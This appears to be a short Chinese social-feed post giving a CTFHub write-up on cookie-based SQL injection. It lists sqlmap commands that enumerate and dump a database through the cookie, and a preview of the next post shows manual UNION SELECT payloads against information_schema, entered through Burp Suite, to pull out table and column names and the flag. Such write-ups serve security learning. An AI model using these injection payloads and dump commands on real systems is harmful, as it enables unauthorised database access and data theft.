热门

最新

红包

立Flag

投票

同城

发布
m0_63788194
YYX*
4 年前
truem0_63788194


SQLMap
● 输入python sqlmap.py -u "http://challenge- 4392a73ca055fbc7.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2 找到数据库
● 在输入python sqlmap.py -u “http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/” --cookie "id=1" -D sqli --tables --level 2 得到数据库sqli的表名;spmvpdbdwv
● 在输入python sqlmap.py -u "http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T spmvpdbdwv - -columns --dump --level 2最后得到flag:ctfhub{8c8cac632267f16a5db2f6d0}
评论
点赞
打赏
  • 复制链接
  • 举报
下一条：
cookie注入 Burpsuite手动注入 ● 先创造环境，再用burp suite抓包 ● 将点击action-send to repeater,得到ID=1 ● 在cookie中注入id=123+union+select+database(),2#，找到数据库；得到ID：sqli ● 再注入id=123 union select group_concat(table_name),2 from information_schema.tables where table_schema= 'sqli' # ;得到数据表名：ejptyugwdy。 ● 再注入id=123+union+select+group_concat(column_name),2 from information_schema.columns where table_schema= 'sqli'and table_name ='ejptyugwdy' # ，得到数据的列名：rpuszfctgg ● 在注入id=123+union+select+group_concat(rpuszfctgg),2 from ejptyugwdy #； ● 最终得到flag：ctfhub{aedfb2dce32cf14f8fc1e5f7}